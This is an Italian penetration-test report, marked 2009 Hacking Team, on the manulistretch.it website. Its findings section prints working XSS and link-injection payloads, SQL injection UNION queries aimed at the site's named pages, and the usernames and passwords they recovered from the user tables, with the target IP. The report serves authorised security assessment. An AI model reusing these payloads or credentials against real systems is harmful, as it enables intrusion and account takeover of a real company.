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1 Sintesi tecnica

Il presente documento descrive le attivita di vulnerability assessment effettuato sull'applicativo

http://www.manulistretch.it di proprieta di Manuli Stretch S.p.A.

L'approccio seguito per l'effettuazione dei test € stato di tipo black box: I'assessment dell'applicazione web si
¢ infatti svolto senza utilizzare credenziali.

Tutta l'attivita ¢ stata svolta su sistemi di produzione. Per questo motivo tutti i test effettuati sono stati
selezionati, sia per tipologia che per modalita di esecuzione, in modo da non creare disservizi la cui

risoluzione potesse risultare eccessivamente difficoltosa.

Complessivamente 1'attivita ¢ consistita in:

® Analisi del sito http://www.manulistretch.it

I sistemi sono stati identificati globalmente come effettivamente compromessi, potenzialmente compromessi,

insicuri e sicuri:

® i sistemi effettivamente compromessi sono quelli in cui sono state scoperte delle vulnerabilita ed una
di esse ¢ stata sfruttata per penetrare nel sistema o per alterarne la logica di funzionamento

® se invece ¢ stata identificata una vulnerabilita gia sfruttata con successo su un altro sistema ma non
su quello in esame, o una vulnerabilita sfruttabile in modo semplice ma si ¢ deciso di non utilizzarla
per salvaguardare l'integrita del sistema o per altri motivi, lo si € classificato semplicemente come
potenzialmente compromesso

® | sistemi insicuri sono quelli che potrebbero pit 0 meno facilmente venire compromessi da un
attaccante

® i sistemi sicuri sono quelli per cui non sono state rilevate delle vulnerabilita o solo vulnerabilita lievi

durante 1 test.

Sul sito sono state rilevate diverse vulnerabilita, ma l'unica di una certa rilevanza ¢ la possibilita di effettuare
attacchi di tipo SQL injection.

Questa vulnerabilitd ¢ stata sfruttata per ottenere le credenziali di login a diverse aree del sito. Quasi
certamente potrebbe essere possibile utilizzarla per modificare i dati contenuti in diverse tabelle, ma si ¢
scelto di non verificare questa ipotesi per non causare disservizi al sito in esame.

Sono anche presenti vulnerabilita di tipo cross-site scripting, link injection e alcune vulnerabilitda minori.

Pertanto il livello globale di rischio dell'applicazione web testata va considerato come medio-alto.
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Pertanto, il risultato dell'assessment mostra come risultato uno stato di sicurezza globalmente

riassumibile in:
e insufficiente per il sito www.manulistretch.it
Le principali classi di vulnerabilita riscontrate sono le seguenti:
® Mancata validazione dei dati ricevuti in ingresso
Queste vulnerabilita hanno causato il verificarsi delle seguenti tipologie di problemi:
® Ottenimento di credenziali di accesso alle zone riservate del sito, compresa la pagina di
amministrazione delle News e possibilita di modifica delle stesse.

® Possibilita di attacchi di tipo cross-site scripting ¢ link injection.

Il seguente grafico mostra la classificazione rilevata:

Sistemi Effettivam. compromessi/Potenzialm. compromessi/Insicuri/Sicuri

B Effettivamente
compromessi

Potenzialmente
compromessi

Insicuri
Sicuri

Figura 1 - Stato globale dei sistemi

La seguente tabella sintetizza le vulnerabilita riscontrate, mostra le principali conseguenze, lo skill di un
eventuale attaccante necessario per sfruttare ciascuna vulnerabilita ed il livello di rischio associato, valutato

da noi sulla base dell'impatto nei sistemi in cui ¢ presente (qualora presente in piu sistemi si indica il rischio
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piu elevato):

Nr. | Tipo di vulnerabilita Impatto il . Rischio
necessario

Vo1 Cross-site scripting E pOSS‘lbl'le effettuare attacchi di tipo cross- Basso Medio
site scripting

V02 Link injection E . p0§51blle effettuare attacchi di tipo link Basso Medio
injection

V03 Application error E' possibile provocare errori applicativi Basso Basso

V04 D}Vulga21qne dl E' possibile ottenere una lista di directory Basso Basso

informazioni dal file robots.txt

Vo5 Directory nascoste Sono state rilevate alcune directory nascoste Basso Basso

Vo6 SQL injection E' possibile eseguire query SQL arbitrarie Medio Alto

Vo7 Credenzw}ll di .logm Le c.reden21ah di login vengono trasmesse Alto Medio

passate in chiaro tramite un protocollo non cifrato

Tabella 1 - Vulnerabilita, impatti e rischi

La seguente tabella mostra le azioni raccomandate da intraprendere per eliminare le vulnerabilita riscontrate

(incrementando cosi il livello di sicurezza globale) e lo sforzo stimato per la loro implementazione:

. c — . Sforzo

Nr. Tipo di vulnerabilita Soluzione raccomandata g
richiesto
Vol Cross-site scripting Filtrare i caratteri ricevuti in input dal client Medio
V02 Link injection Filtrare i caratteri ricevuti in input dal client Medio
V03 Application error Filtrare i caratteri ricevuti in input dal client Medio
Vo4 D.l vulgaz1qne d ! Non usare il file robots.txt, o utilizzare caratteri jolly nello stesso Basso
informazioni

V05 Directory nascoste Rispondere con un codice “404 — not found” Basso
V06 SQL injection Filtrare i caratteri ricevuti in input dal client Medio
Vo7 Credenzuilill Slllila?r%)m passate Trasmettere le credenziali di login via HTTPS Medio

Tabella 2 - Soluzioni raccomandate e sforzo richiesto

La tabella seguente riassume le vulnerabilita pesate secondo CVSSv2 e secondo la nostra classificazione di

rischiosita sistema per sistema:
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Indirizzo IP/URL Somma | Somma | Media | Num. vulnerabilita

vulner. num. | vulner. | High | Medium | Low
CVSSv2 | vulner.
http://www.manulistretch.it 36.8 7 5.26 1 3 3

Tabella 3 - Vulnerabilita e score CVSSv2 per sistema

Il grafico seguente schematizza il livello di rischio di ciascuna vulnerabilita (la cui gravita ¢ indicata in base
al colore: per le vulnerabilita con basso rischio, per quelle a rischio medio e rosso per quelle con
rischio alto), lo skill necessario per sfruttarla e lo sforzo stimato per implementare una possibile soluzione al

problema:

Sforzo richiesto per implementare una soluzione

LOW MEDIUM HIGH

HIGH

MEDIUM

Skill necessario per sfruttare la vulnerabilita

LOW

Figura 2 - Grafico skill-effort stimati

© 2009 Hacking Team
All rights reserved

All rights reserved. It's explicitly fordbidden to copy, distribute, publish, reuse even in part articles, texts, workflows, images contained in this document
without a written permission from the company Hacking Team S.r.I., except for the possibility to use this material for internal use of the company with
respect to the underwritten contract.

Number of attachments: 0 Page 8 of 27



http://www.manulistretch.it/

|HackingTeam| M

2 Introduzione

2.1 Scopo

Le attivita sono state effettuate al fine di valutare il livello di sicurezza dell'applicativo www.manulistretch.it,
identificando le possibili minacce associate alle vulnerabilita individuate.

Tutti 1 test di sicurezza sono stati realizzati da remoto.

Le attivita sono state condotte seguendo un approccio tradizionale, tenendo in considerazione tutti quegli
accorgimenti idonei all’effettiva esaustivita del controllo di sicurezza e senza testare invasivamente il livello

di servizio offerto dal sistema di difesa esistente.

2.2 Output del lavoro

Il presente documento contiene i risultati dell'analisi della sicurezza ed ¢ strutturato nelle seguenti sezioni:

= Sintesi tecnica
= Metodologia seguita
= Descrizione delle vulnerabilita riscontrate e suggerimenti per la loro eliminazione

= Analisi di 1 applicazione web.

2.3 Vincoli e limiti del lavoro svolto

I vincoli che hanno limitato ’attivita di analisi della sicurezza si possono sintetizzare nei seguenti punti:

= Non sono state effettuate attivitda DoS (Denial of Service) perché tutta 'attivita ¢ stata svolta su sistemi di
produzione o comunque in uso

= Non sono stati effettuati gli attacchi che avrebbero potuto compromettere la stabilita dei sistemi o
l'integrita dei dati in essi contenuti

= Non sono state effettuate modifiche ai campi dei database o a dati di qualsiasi tipo.

Per quanto riguarda I’effettivo sfruttamento delle vulnerabilita, sono state svolte le seguenti attivita, a titolo

di evidenza delle eventuali debolezze riscontrate:

= Reperimento di eventuali dati, utilizzabili sia per il proseguimento dell’analisi di sicurezza, sia per dare
evidenza delle verifiche effettuate

= (Creazione di screenshot durante le attivita di test per fornire evidenza dei risultati ottenuti.

2.4 Perimetro del lavoro

Gli indirizzi IP e le URL che sono stati oggetto di attivita sono elencati nella seguente tabella:
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Indirizzo IP pubblico URL corrispondenti per il sito web pubblico

62.149.230.105 http://www.manulistretch. it

Tabella 4 — Le reti e gli IP zarget dell'analisi di sicurezza

Lo scenario di attacco simulato ¢ stato il seguente:

® PC di Hacking Team presso la sede di Hacking Team
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3 Metodologia di test

Questo capitolo illustra brevemente le modalita con cui sono stati effettuati i test ed i tool principali che sono

stati utilizzati durante 1'assessment.

3.1 Attivita eseguite

Le attivita di verifica sono state condotte utilizzando tecniche di attacco allo stato dell’arte e seguendo un

approccio metodologico di tipo manuale ¢/0 automatico, a seconda delle singole attivita.

La fase di test ¢ una sintesi del cosiddetto Open-Source Security Testing Methodology Manual (OSSTMM),
dell'Open Web Application Security Project (OWASP) e delle procedure interne testate da Hacking Team

nel corso degli anni.

Tipicamente gli approcci possibili sono i seguenti:

¢ Modalita manuale

*  Modalita automatica (utilizzo di vari tool di verifica)

* Modalita automatica combinata con interventi manuali. In questo caso alcuni strumenti automatici

assistono il tester, nell’implementazione di uno scenario di attacco complesso.

La sequenza di macro-attivita effettuate ¢ descritta nella seguente figura:

infarmazioni

Reperimento delle

v

Individuazione
delle vulnerabilita

v

Individuazione dei
sistemi attivi

Eliminazione dei
falsi positivi

v

¥

Individuazione dei
servizi atfivi

Exploiting

v

v

Discovery della rete

h

Figura 3

Raccolta delle
evidenze

+

Identificazione
delle contromisure

>

- Macro-attivita effettuate
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3.2 Tools utilizzati

Gli strumenti di vulnerability assessment utilizzati sono i seguenti:

» Network discovery tools: strumenti e comandi che permettono di stabilire una probabile configurazione

di rete a livello topologico ed architetturale. Sono stati utilizzati whois, traceroute, hping, tcptraceroute.

» Network mapping tools: tools che eseguono una scansione di singoli sistemi oppure intere reti al fine di

determinarne le porte aperte, le applicazioni che sono in ascolto su quelle porte, il tipo e la versione

probabile del sistema operativo, ecc. ecc. Durante questo progetto il foo/ utilizzato ¢ stato nmap.

> Web application tools: strumenti che permettono di verificare in modo automatico o semi-automatico il

grado di sicurezza degli applicativi web ed il grado di sicurezza tra l'interfaccia web messa a

disposizione dell'utente ed i back-end contenenti i dati. Sono stati utilizzati nikto ed Appscan.

» Monitor HTTP: strumenti che permettono di analizzare/modificare le richieste e le risposte HTTP

effettuate dal browser. E' stato utilizzato IE HTTP Analyzer.

> Web traffic intercepting proxies: strumenti che permetttono di intercettare e modificare il traffico HTTP

in transito. Sono stati utilizzati Paros e Webscarab.
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4 Vulnerabilita riscontrate

In questo capitolo verranno elencate nei dettagli le vulnerabilita principali riscontrate e le soluzioni proposte.
4.1 VO0I — Cross-site scripting

4.1.1 Descrizione

CVE: nd

Nessus ID: n.d

CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

La non corretta validazione di parametri inseriti dall'utente permette di sfruttare il campo affetto dal
problema per iniettare del codice pericoloso all'interno di una pagina web.

Questo potrebbe permettere ad un attaccante di iniettare codice javascript all'interno di una pagina e,
convincendo un utente a visitare la stessa, far eseguire script arbitrari al browser dell'utente, per esempio
falsificando la pagina di login per rubargli le credenziali.

Questo tipo di attacchi ¢ definito di tipo “client-side” perché, pur sfruttando una vulnerabilita del server web,

colpisce i browser degli utenti.

4.1.2 Soluzione

Modificare i sorgenti delle pagine vulnerabili in modo da filtrare i caratteri non previsti che permettono la

creazione di Cross-Site Script.

4.2 V02 - Link injection

4.2.1 Description

CVE: n.d.

Nessus ID: n.d.

CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

Un attacco di tipo link injection consiste nella modifica temporanea di un sito web inserendo in esso un URL
ad un sito esterno.

E' importante sottolineare che il contenuto del sito in sé non viene modificato: ¢ il browser dell'utente che
visualizza un sito differente. Si tratta pertanto di un attacco di tipo client-side, sfruttabile tramite meccanismi

quali il phishing.
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4.2.2 Soluzione

Per eliminare questa vulnerabilita ¢ necessario validare correttamente i dati ricevuti in ingresso dall'utente,

filtrando eventuali caratteri speciali.

4.3 V03 — Application error

4.3.1 Descrizione

CVE: n.d.

Nessus ID: n.d.

CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

Sebbene non si tratti di una vera e propria vulnerabilita, un errore applicativo indica che l'applicazione ha
raggiunto uno stato imprevisto in fase di sviluppo e non ¢ riuscita a gestirlo. Questo, oltre a risultare in un
disservizio temporaneo per ['utente, potrebbe permettere ad un attaccante di sfruttare lo stato di instabilita per
aggirare i meccanismi di sicurezza.

Un errore applicativo potrebbe anche essere indice di mancata validazione di parametri di input.

4.3.2 Soluzione

La soluzione va analizzata caso per caso ma in generale ¢ necessario correggere 'applicazione a livello di

codice, per eliminare il bug che causa l'errore.

4.4 V04 — Divulgazione di informazioni

4.4.1 Descrizione

CVE: n.d.
Nessus ID: n.d.
CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Questa vulnerabilita comprende una vasta serie di casi anche diversi tra loro ma in tutti questi casi l'effetto
comune consiste nel fatto che l'attaccante ¢ in grado di accedere ad informazioni a cui non dovrebbe
normalmente avere accesso. Spesso questa vulnerabilita ¢ una conseguenza di altre.
La vulnerabilita delle NULL session per esempio potrebbe esser vista come una vulnerabilita di questo tipo
poiché l'effetto della sua presenza ¢ quello che l'attaccante ha accesso ad informazioni che non dovrebbe
conoscere.
Nel dettaglio, le vulnerabilita sono le seguenti:

® Presenza del file robots.txt

® [nformazioni sulla presenza di alcune directory
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4.4.2 Soluzione

Non usare il file robots.txt o, se assolutamente necessario, utilizzare nomi parziali e caratteri jolly nel file

stesso, in modo da non rivelare ad un attaccante il nome esatto delle directory.

4.5 V05 — Directory nascoste

4.5.1 Descrizione

CVE: n.d.

Nessus ID: n.d.

CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

L'applicazione web espone la presenza di alcune directory nascoste. Anche se non ¢ stato possibile accedere
ai file in esse contenuti, questa informazione puo aiutare un attaccante in attacchi successivi. Ad esempio,
conoscere il nome della directory pud permettere di indovinare il nome di file correlati, potenzialmente

accessibili.

4.5.2 Soluzione

Rispondere alle richieste per le directory nascoste con un codice “404 — Not Found” o rimuovere le directory

se non utilizzate.

4.6 V06 — SQL injection

4.6.1 Descrizione

CVE: nd

Nessus ID: n.d

CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)

Alcune pagine sono risultate vulnerabili ad attacchi di tipo SQL injection.

Un attacco di tipo SQL injection consiste nell'alterazione di una query sul database di back-end tramite
l'inserimento di caratteri speciali all'interno di form sul front-end, in questo caso le pagine web.

Nel caso specifico ¢ stato possibile sfruttare questa vulnerabilita per visualizzare alcuni dati sensibili, quali le

credenziali di login per 'area riservata del sito e per la pagina di amministrazione delle news.

4.6.2 Soluzione

Effettuare la validazione lato server dei dati ricevuti in input dall'utente.
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4.7 V07 - Credenziali di login passate in chiaro

4.7.1 Descrizione

CVE: nd

Nessus ID: n.d

CVSS Base Score 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

Le credenziali di login vengono trasmesse tramite un protocollo in chiaro. Questo vuol dire che un attaccante

in grado di intercettare il traffico di rete puo visualizzarle.

4.7.2 Soluzione

Trasmettere le credenziali via HTTPS e non via HTTP.
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5 Penetration Test Applicativo

Di seguito la descrizione dettagliata delle vulnerabilita rilevate.

5.1 V01 — Cross-site scripting

Le seguenti URL ed i parametri indicati sono risultati vulnerabili ad attacchi di tipo cross-site scripting.

URL Parametri vulnerabili
http://www.manulistretch.it/ CFIDE/componentutils/cfcexplor | path=/cfide/adminapi/administrator.cfctestt%22%3E%3C
er.cfc %00script%3Ealert%2831976%29%3C%2Fscript%3E
http://www.manulistretch.it/de/0207n.cfm id=0067%3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/de/products/tds/tdsNDX.cfm id=0067 %3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/en/0207n.cfm id=0067 %3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/es/0207n.cfm id=0067 %3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/es/products/tds/tdsNDX.cfm id=0067%3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/fr/0207n.cfm id=0067 %3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/fr/products/tds/tdsNDX.cfm id=0067 %3ciframe%20src%3djavascript
%3aalert(184501)%3e
http://www.manulistretch.it/it/0207n.cfm config=%3Cscript%3Ealert(%27Test%20XSS
%27)%3C/script%3E

Tabella S - URL cross-site scripting

Di seguito viene riportata un'immagine a titolo di evidenza.
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-o Applicazioni Risorse Sistema e-oa b = @ gio 3 set, 17.07  Enrico Luzzani )

| Statistics for www.manulistretch.com (2008-09) - Mozilla Firefox ‘

Fle Edit View History Bookmarks Tools Help
@ ¢O®

[ Most visited~ @ Getting Started [5]Latest Headlines~

[@] | hittp fpwww.manulistretch itfstats/awstats pl?config= <script=alert( Test XS5')</script> A |Y "1‘

Error: Couldn't open config file "awstats. <script=alert('Test XS5')</script>.conf" nor "awstats.conf" after searching in path "d:inetpub/localuser
/awstats,/etc/awstats, fusr/local/etc/awstats, /etc, /etc/opt/awstats": No such file or directory

- Did you use the correct URL ?

Example: http://localhost/awstats/awstats.pl?config=mysite %
Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite

- Did you create your config file "awstats.

.'I" Test XSS
=
| o |
Transferring data from www.manulistretch.it.., P
18| [Manuli - Esplcraz‘\o.‘. @ *Note“('-lDocumsnt.u ' ric@ubuntu: foptjwe... .@ WebScarab |_‘ Statistics for www.m... I : G

Figura 4 - Cross-site scripting

5.2 V02 - Link injection

Le seguenti URL e i parametri indicati sono risultati vulnerabili ad un attacco di di tipo link injection:

URL Parametri vulnerabili

http://www.manulistretch.it/de/0207n.cfm id=0071"><img
%20src="http://www.hackingteam.it/img/logo.gif">
http://www.manulistretch.it/de/products/tds/tdsNDX.cfm id="><IMG%20SRC="/WF_XSRF.html|">

http://www.manulistretch.it/en/0207n.cfm id="><IMG%20SRC="/WF_XSRF.html">
http://www.manulistretch.it/es/0207n.cfm id="><IMG%20SRC="/WF_XSRF.html|">
http://www.manulistretch.it/es/products/tds/tdsNDX.cfm id="><IMG%20SRC="/WF_XSRF.html|">
http://www.manulistretch.it/fr/0207n.cfm id="><IMG%20SRC="/WF_XSRF.html|">
http://www.manulistretch.it/fr/products/tds/tdsNDX.cfm id="><IMG%20SRC="/WF_XSRF.html[">
http://www.manulistretch.it/it/0207n.cfm id="><IMG%20SRC="/WF_XSRF.html|">

Tabella 6 - URL link injection

Di seguito ¢ riportata un'immagine a titolo di evidenza:
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{2 Error, Occurred While Processing Request - Windows Internet Explorer,

e —
@._ o v | 8] http: i, manulistretch, comfit/ 02070, cFm?id=0071" = <img% 20src="http: [ fwww, hackingteam.itfimgfloga.gif'= % | *+ | X 2~

File Edit Wew Favorites Tools Help

N . i ’ »
W e '{éError Occurred While Processing Request | | i’:} - Bl | l-_}Eage - Tools -

The web site you are accessing has experienced an unexpected error.
Please contact the website administrator.

The following information is meant for the website developer for debugging purposes.

Error Occurred While Processing Request

Error Executing Database Query.

Syntax error (missing operator) in query expression 'id = 0071">

8 and in_news = true AND azienda='02'

AND titolo_home <= ";'

o

Resources:

» Enable Robust Exception Information to provide greater detail about the source
of errors. In the Administrator, click Debugging & Logging = Debugging
Settings, and select the Robust Exception Information option.

& Check the ColdFusion documentation to verify that you are using the correct
syntax.

#» Search the Knowledge Base to find a solution to your problem.

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR

Browser 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)

Remote
217.56.23.211

Address

Referrer

Date/Time 14-set-09 02:53 PM

Dane

# € Internet HA00% v

Figura 5 - Link injection

5.3 V03 — Application error

Le seguenti URL e i parametri indicati danno come risultato un errore applicativo

URL Parametri vulnerabili
http://www.manulistretch.it/de/products/tds/tdsNDX.cfm id=0067XYZ

http://www.manulistretch.it/en/0207n.cfm id=0067XYZ

http://www.manulistretch.it/es/0207n.cfm id=0067XYZ
http://www.manulistretch.it/es/products/tds/tdsNDX.cfm id=0067XYZ

http://www.manulistretch.it/fr/0207n.cfm id=0067XYZ
http://www.manulistretch.it/fr/products/tds/tdsNDX.cfm id=0067XYZ

http://www.manulistretch.it/it/0207n.cfm id=0067XYZ
http://www.manulistretch.it/photobook/rich.cfm Parametri rimossi: telefono, Nome, email, Cognome,

AziendaDivisione

Tabella 7 - URL Application error

Di seguito viene riportata un'immagine a titolo di evidenza.
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® Error Occurred While Processing Request-AppScan Browser

% A D =

Address Rkt vy manalistretch, itfde/0207 0, chmeid=0067 Y Z - E’

The web site you are accessing has experienced an unexpected error.
Please contact the website administrator.

The following information is meant for the website developer for debugging purposes.

Error Occurred While Processing Request

Error Executing Database Query.

Syntax error (missing operator) in query expression 'id = 0067XYZ
and in_news = true AND azienda='02" AND titolo_home_de <= """

Resources:

» Enable Robust Exception Information to provide greater detail about the source
of errors. In the Administrator, click Debugging & Logaing = Debugging
Settings, and =elect the Robust Exception Information option.

#* Check the ColdFusion documentation to verify that you are using the correct
syntax.

# Search the Knowledge Base to find a solution to vour problem.

Browser Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Remote Address 217.56.23.211
Referrer http:/fwww.manulistretch.it/de/0207.cfm
Date/Time 07-set-09 02:36 PM

Dane

Figura 6 - Application error

5.4 V04 — Divulgazione di informazioni

E' stata rilevata la presenza del file robots.txt, contenente il nome di alcune directory potenzialmente
sensibili.

Di seguito il contenuto del file:

robots.txt

Disallow: / private/
Disallow: /cgi-bin/
Disallow: /css/

Disallow: /database/
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Disallow: /download/
Disallow: /logs/
Disallow: /photobook/
Disallow: /secure/
Disallow: /stats/

Disallow: /support/

Alcune di queste directory sono risultate inesistenti, altre protette da autenticazione HTTP, altre ancora
accessibili.
Ad esempio, collegandosi alla URL http://www.manulistretch.it/stats si viene rediretti alla pagina delle

statistiche sugli accessi al sito, come si puo vedere nell'immagine seguente:

[ Statistics for www.manulistretchicom|(2009-09) - Iceweasel =EE
Fle Edit Wiew History Bookmarks Tpols Help
-« ~ ﬁ ﬂ .JJ [@l http:/fwww.manulistretch.it/stats/awstats . pl?config=hp 10065 |V| [V 'Q]

[& Most Visited ¥ g mozilacrg %= mozillazine Bmozdeviorg *JGoogle Advsrch *JGoogle W Babelrish [fpruntoinf [Mwired <o Mail Poli ][ HT Webmail EETGDaily

Statistics for: Last Update: 14 Sep 2009 - 04:30 o’
www .manulistretch.com —_————— "/\',f
Reported period: | sep || 20008 || ok

Summary
When:

Manthly history
Days of month Reported period Month Sep 2009

Days of week First visit 01 Sep 2009 - 00:00

Hours Last visit 13 Sep 2009 - 23:51

Who: Unique visitars Mumber of visits _ Hits

Countries 1292 2084 77035 97197 2.47 GB

1 Full list i o e . A -
e Viewed traffic (1.61 visits/visitor) (36.96 pages/visit) (46.63 hits/visit) (1243.98 KB/visit)

Summary

Mot viewed traffic * 99966 100630 906.27 MB
! Last visit

IUnresolved IP Address = * Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.

ik

! Full list
1Last visit Monthly history

Navigation:
Visits duration
File type
Viewed
1 Full list
1Entry
TExit

Operating Systems Jan Feb Mar Apr May Jun  Jul Aug Sep Oct Nov Dec
! Versions 2009 2009 2009 2009 2009 2009 2009 2009 2009 2009 Z009 2009
! Unknown
Browsers . b :
| fersions Manth u‘"!que Nun'! .Er ’ - fits -
! Unknown visitors visits
Referrers: I Jan 2009 2334 4171 37422 73776 1.18 GB
Ol"gmf N Feb 2009 2539 4414 38279 81679 1.26 GB
| Refer »
| LEErnng sBareh engines Mar 2009 2848 4746 47592 95122 1.52 GB
| Referring sites
Search Apr 2009 2430 4172 36856 77085 1.25 GB B
! Search Keyphrases [:| D
Done *.‘- G ;; Proxy: None

Figura 7 - Statistiche di accesso al sito web

8.5 V05 — Directory nascoste

Le seguenti URL corrispondono a directory “nascoste”. Va detto che ¢ stato possibile esclusivamente

rilevarle e non visualizzarne il contenuto.

URL

http://www.manulistretch.it/cfide/

http://www.manulistretch.it/css/
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http://www.manulistretch.it/forum/

http://www.manulistretch.it/images/

http://www.manulistretch.it/scripts/

Tabella 8 - URL Directory nascoste

5.6 V06 — SQL injection

E' stato possibile ottenere informazioni sensibile grazie ad attacchi di tipo SQL injection.

Le seguenti URL e i parametri indicati sono risultati vulnerabili.

URL Parametri vulnerabili

http://www.manulistretch.it/de/0207n.cfm 1d=0067\"%20having%201=1--
http://www.manulistretch.it/de/products/tds/tdsNDX.cfm 1d=0067\'%20having%201=1--
http://www.manulistretch.it/en/0207n.cfm 1d=0067\"%20having%201=1--
http://www.manulistretch.it/es/0207n.cfm 1d=0067\'%20having%201=1--
http://www.manulistretch.it/es/products/tds/tdsNDX.cfm 1d=0067\'%20having%201=1--
http://www.manulistretch.it/fr/0207n.cfm 1d=0067\'%20having%201=1--
http://www.manulistretch.it/fr/products/tds/tdsNDX.cfm 1d=0067\'%20having%201=1--
http://www.manulistretch.it/it/0207n.cfm 1d=0067\"%20having%201=1--

Tabella 9 - URL SQL injection

Il primo passo dell'attacco ¢ stato trovare i nomi di alcune tabelle, tramite la seguente query:

http://www.manulistretch.it/en/0207n.cfm?1id=0067 union select 1 from nomeTabella%00

In base al messaggio di errore restituito ¢ possibile determinare se nomeTabella esiste 0 meno.
Si ¢ quindi proceduto per tentativi, cercando di indovinare nomi di tabella validi.
Analogo procedimento ¢ stato utilizzato per ottenere i nomi dei campi nelle tabelle identificate: la seguente

query permette di determinare 'esistenza o meno di nomeCampo in nomeTabella:

http://www.manulistretch.it/en/0207n.cfm?id=0067 and (select top 1 nomeCampo from nomeTabella) %00

Inoltre, ¢ stato possibile ottenere alcuni nomi di campo da messaggi di errore dell'applicazione.

Di seguito vengono riportati i nomi delle tabelle ed i nomi delle colonne trovati:

Nome Tabella Nome Campo
news id

tdsUsers userid, password
adminUsers userid, password
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Tabella 10 - Tabelle e campi trovati

La tabella tdsUsers contiene le login usate per accedere all'area riservata contenente i technical data sheet,
mentre la tabella adminUsers contiene le utenze usate per accedere alla pagina di gestione delle news,
accessibile tramite 'URL http://www.manulistretch.it/support/

Di seguito vengono riportati i contenuti di queste due tabelle:

User Password
msd942 48a733
pepe pepe01

Tabella 11 - Utenze contenute in tdsUsers

User Password

a a

Tabella 12 - Utenze contenute in adminUsers

Tali risultati sono stati ottenuti tramite le query che seguono.

Per ottenere la prima coppia di credenziali contenuta nella tabella tdsUsers:

http://www.manulistretch.it/en/0207n.cfm?id=0067%20union%20select%$20%220%22,%22b%22,%22c%22,%22d
$22,%22e%22,%22£%22,%229%22,%22h%22,%221%22,%221%22,%22m%22,%22n%22,%220%22,%22p%22 ,userid, $22r
%22,%228%22,%22t%22,%22u%22,password, $222%22,%22a%22,%22a%22,%22a%22,%22a%22,%22a%22,%22a%22%20£from
%20tdsUserss00

Per ottenere la seconda ¢ stata utilizzata questa query:

http://www.manulistretch.it/en/0207n.cfm?id=0067%20union%20select%20%220%22,%22b%22,%22c%22,%22d
%$22,%22e%22,%22£%22,%229%22,%22nh%22,%221%22,%221%22,%22m%22,%22n%22,%220%22,%22p%22,userid, $22r
$22,%228%22,%22t%22,%22u%22,password, $222%22,%22a%22,%22a%22,%22a%22,%22a%22,%22a%22,%22a%22%20from
$20tdsUsers%$20where%20userid%20<>%20"msd942"%00
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Risorse  Sistema

Fle Edit View History Bookmarks Tools Help

(= v G = | ‘ http:iwww.manulistretch it/en/0207n.cfm?id= 0067 union select *0"." ‘ v | |v‘ Google @

[ Most Visited~ @ Getting Started [5]Latest Headlines ™

-I'he web site you are accessing has
I experienced an unexpected error.
The worldwide lsader in stratch film for innovation, quality and pro/news index 1t

lll manuli Please contact the website administrator.
stretch msdoaz

P |74Ea733

About us
G roup structure

Financial highlights

Management %
Mission
Proclucis fn\
Casl saving E Simen
T ar S o

Interactive map UNIEN 150 90012000
Contact us Cantificato N. 150

¥
Done 7]
EH @ Manulis... H ric@ubu. .. ‘ @ [coldfusi... ‘ i [_)(_)_Mfr_\ln...__l @ [ms acc... || @ [CvE-S.. || |£| webScar... H @ source ... H @ source ... H @ Youare ... ‘ 5] i 1 i a Ei!

Figura 8 - SQL injection

Appl\‘caz ni Risorse Sistema

File Modifica Visualizza Wvai  Aiuto

B D ) 1 dil | 100% s

'l‘ manuli Scheda Tecnica Prodotto A daror e o conr
stretch S T
Technical Data Sheet Temperature Rel, humidity

Prodotto: ch

Product TOLLERANZE (folerances )
film 1ubo (core) 1

Spessore: 15 my

Thickness Lunghezza (fength) +3% Diametro (diameter) +0,6mm

Prestiro garantito* 60 %

Guaranteed prestrefch Spessorm (ihickness) T o0y

i i o

Prestl.ro massimo 80% Fassia (width) C

Maximum prestretch

PROPRIETA FISICO MECCANICHE * HORMA LNITA DI MISURA DIREZ. MAGCHINA | DIREZ. TRASVER. - Tolleranze

Physical and mechanical properties Standard Unit Machine Direction Transversal Direction Toferances

MODULO ELASTICO 5 - i

Elastic modulus AATADEE -9 Himm 75,5 80,5 =10%

SFORZO DI SNERVAMENTO

Yield tensile stress ASTM DBR2-01 Nimm? 63 6.7 +10% I |

SFORZO A ROTTURA

Tensile stress at break AFTM D201 Nimm’ 34,2 16,8 =10%

ALLUNGAMENTO ALLA ROTTURA i - -

Elongation at break ASTM D&z - 01 % 190 520 +10%

RESISTENZA ALLA LAGERAZIONE - -

Tear resistance ASTH DI 822 - 003 mN 2050 3950 +10%

RESISTENZA ALLIMPATTO o o

i e 1 ASTM D1709- 01 L] a3 +10%
™= 3 = B Al
‘E‘ | -~ [Manuli - Esplorazio... H | LC2 Rew.3 05.xls | 9 J<c |

Figura 9 - Scheda tecnica
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Ulteriori tentativi hanno consentito di stabilire che queste sono le uniche credenziali contenute nella tabella.

Analogamente, la seguente query ottiene la prima coppia di credenziali nella tabella adminUsers:

http://www.manulistretch.it/en/0207n.cfm?id=0067%20union%20select%$20%220%22,%22b%22,%22c%22,%22d
$22,%22e%22,%22£%22,%229%22,%22h%22,%221%22,%221%22,%22m%22,%22n%22,%220%22,%22p%22,password, $22r
%22,%225%22,%22t%22,%22u%22,userid, %$222%22,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22%20from

%$20adminUsers%00

Analogamente a quanto sopra, ulteriori tentativi hanno permesso di stabilire che era presente una sola coppia

di credenziali.

Fle Edit View History Bookmarks Tools Help

- v ° (X ] @ I ‘ http/fwww.manulistretch it/support/newsAdmin.cfm|
